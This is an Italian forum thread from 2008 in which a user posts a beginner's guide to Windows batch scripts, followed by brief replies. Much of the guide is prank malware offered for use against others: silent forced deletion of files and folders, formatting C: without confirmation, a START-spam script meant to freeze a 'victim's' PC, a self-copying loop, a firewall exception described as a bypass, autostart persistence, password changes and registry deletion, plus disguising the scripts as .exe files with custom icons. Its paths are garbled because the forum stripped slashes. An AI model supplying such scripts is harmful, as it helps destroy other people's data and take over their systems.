programmazione in Batch, Guida

« Older   Newer »
  Share  
Max.Power
view post Posted on 12/12/2008, 21:10     -1   +1   -1




Questa guida e' stata fatta da Max.Power tutti i diritti sono riservati se volete mettere questa guida nel vostro sito siete pregati di incollare il seguente codice alla fine o all'inizio della guida



CODICE
<b><i><u><p align="center">[size=7][color=red][font=Impact][URL=http://www.magicandmanga.forumcommunity.net]guida by Max.Power[/URL][/font][/color][/size]</p></u></i></b>


COMINCIAMO

e' vero che il batch non è un linguaggio molto avanzato...Ma forse per partire è il migliore...
Ecco quindi come iniziare:

Salvare Un Batch

1) Aprire il blocco note
2) Incollarci il codice
3) Chiudere e salvare il file in .bat


programma Per Cancellare Un File
1) Aprite il blocco note
2) Incollateci 1 dei seguenti codici:
CODICE
@ERASE /comando "C:percorsopercorso *.*"
@DEL /comando "C:percorsopercorso *.*"


3) Chiudete e salvate in .bat
IN DETTAGLIO: Che significa quel codice?
Allora:
1) @ERASE e @DEL = Sono per cancellare file
2) /comando = Bisognerebbe inserire 1 o più comandi tra questi:
a) /P Chiede conferma prima di eliminare ogni file.
b) /F Forza l'eliminazione dei file di sola lettura.
c) /S Elimina i file specificati da tutte le sottodirectory.
d) /Q Modalità silenziosa, non chiede conferma per eliminazioni globali.
e) /A Seleziona i file da eliminare in base agli attributi.
3) *.* = Il PRIMO asterisco serve per cancellare TUTTI i file con un certo nome, come:
CODICE
eversor.*

4) *.* = Il SECONDO asterisco serve per cancellare QUALSIASI tipo di ESTENSIONE di un file, come:
CODICE
*.txt

5) QUINDI, in sostanza se dobbiamo cancellare il file "eversor" in .txt sul desktop, faremo:

CODICE
@ERASE /S /Q "C:ProgrammiDocuments and settingsL.H.S.Desktopeversor.txt *.txt"



Virus Per Cancellare Una Cartella
1) Aprire il blocco note
2) Inserirci dentro il seguente codice:

CODICE
@RD /s /q C:Percorso_Cartella

3) Salvare in .bat
IN DETTAGLIO: Perchè @RD?
@RD Serve in questo per cancellare una cartella, mentre @DEL e @ERASE era per File, @RD è per cartella.

Per Formattare C (che non deve essere l'unità in uso):
1) Aprire il blocco note
2) Inserirci dentro il seguente codice:

CODICE
format C: /autotest /q /u

3) Salvare in .bat
IN DETTAGLIO: Questo batch formatta c: senza chiedere conferma (/q) e non permette di essere bloccata piu avanti (/u)


Virus Per Disconnettere/Riavviare/Spegnere il PC
1) Aprire il blocco note
2) Inserire dentro il seguente codice:
CODICE

CODICE
shutdown -comando

3) Salvare in .bat
IN DETTAGLIO: Il -comando può essere sostituito tra i seguenti:
a) -i : Attiva l’interfaccia utente grafica
b) -l : Disconnette l'utente
c) -r : Riavvia il PC
d) -s : Spegne il computer
e) -t xx: xx Sarebbero i secondi di attesa prima della chiusura di Windows
f) -f : Chiude le applicazioni ancora aperte


Per Far Impallare Il PC
1) Aprire il blocco note
2) Inserire dentro il seguente codice:

CODICE
START
START
START
START
START
START
START
START
ecc...


3) Salvare in .bat
IN DETTAGLIO: Se aprite l'msdos (Start--->Esegui--->cmd) e scrivete START, a sua volta vi apre di nuovo il prompt.
Che succede se voi scrivete START tipo 500 volte (MAGARI COL NOSTRO FLODDER SPECIALE) salvate in batch e lo mandate alla vittima???
Beh, vi lascio a voi immaginare.


Trasformare Il .bat In .exe
1) Scaricate il seguente programma: Batch To Exe 1.2 da QUI
2) Apritelo e scegliete le opzioni, si può anche cambiare l'icona del file


Aumentare Il Peso Del Batch
1) Aprire il blocco note
2) Incollarci dentro il codice
3) Aggiungere il codice:

CODICE
@REM parole_a_caso_ma_tante

4) Salvare in .bat
IN DETTAGLIO: Perchè @REM?
Allora si da il caso che il comando @REM, serva per "Inserire Commenti", MA, se noi al posto dei commenti mettiamo non so, 500 volte la lettere aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa, non faremo altro che AUMENTARE il peso del batch.

Variabili:

CODICE
set x=3

verrà impostata la variabile x con valora 3

Codice:
set /P x=
una riga d'imput definirà la variabile
Codice:
set /a x=x+1

la variabile x è uguale a se stessa +1 (contatore)

da qui ne deriva il bat


CODICE
set x=0
:1
copy nome.bat nome%­X%.bat
set /A x=x+1
goto 1


Cambiare passwrdo via riga di comando:

CODICE
net user %­USERNAME% pwd

dove %­USERNAME% è la variabile che indica l'user in uso e pwd è la nuova password.

Salvare un file .bat nell’esecuzione automatica in modo che parta ad ogni avvio del computer
1) Aprire il blocco note
2) Aggiungere il seguente codice:
CODICE
echo “comando batch” > “C:Documents and settings%­USERNAME%­menu avvioprogrammiesecuzione automaticanomefile.bat”

IN DETTAGLIO: Perché “>”?
Il segno maggiore (>) serve a salvare l’output di un comando batch in un altro file, in questo caso il nostro (nomefile.bat).
Il comando usato in questo caso è “echo” che serve a stampare a schermo una scritta.
Al posto di “comando batch” dovremo inserire il comando da utilizzare all’avvio del computer.
In questo modo il “comando batch” sarà la scritta di output del comando “echo” e verrà quindi salvato nel nostro (nomefile.bat) nell’esecuzione automatica.
Ciò che segue il segno “>” è il percorso dove verrà salvato il file .bat e la variabile %­USERNAME% sostituisce il nome utente del computer.

Comandi x il registro:

CODICE
REG EXPORT HKLMSoftware C:nomefile.txt

In questo modo esportiamo una parte di registro (in queso caso Hkey Local MachineSoftware) in C: dentro ad un file al quale daremo un nome a caso, e l'estensione che più ci aggrada...(reg è quella principale, poi txt, html etc...)


CODICE
REG IMPORT "nomefile.reg"

In questo modo importiamo il file di registro, nel registro appunto.


CODICE
REG DELETE HKLMSoftware


Eliminiamo la chiave Software e le sue sotto chiavi dal registro (non fatelo, MAI! ammeno che non avete un back-up)

Questi sono i più importanti.
Altri comandi li trovate digitando: reg /?


Bypassare il fire wall di windows:

CODICE
netsh firewall add allowedprogram  C:KillBox.exe ENABLE

dove al posto di C:KillBox.exe inseriamo il percorso del programma

Comando per terminare i processi:


CODICE
taskkill /f /im "nomeprocesso.exe"




Comando per terminare i servizi:

CODICE
net stop "nome servizio"

Invece per farlo ripartire:

CODICE
net start "nome servizio"


grazie a tutti per avere letto la mia guida
 
Top
The Script
view post Posted on 12/12/2008, 21:28     +1   -1




Molto interessante
 
Top
Max.Power
view post Posted on 13/12/2008, 15:24     +1   -1




beh questi sono quasi tutti i comandi che conosco
 
Top
Lyon24
view post Posted on 14/10/2010, 15:14     +1   -1




Complimenti :)
 
Top
.Grindelwald™
view post Posted on 19/2/2011, 15:32     +1   -1




È bene specificare che all'invio del post principale il forum ha eliminato automaticamente gli slash ovvero i simboli "/"
 
Top
4 replies since 12/12/2008, 21:10   1697 views
  Share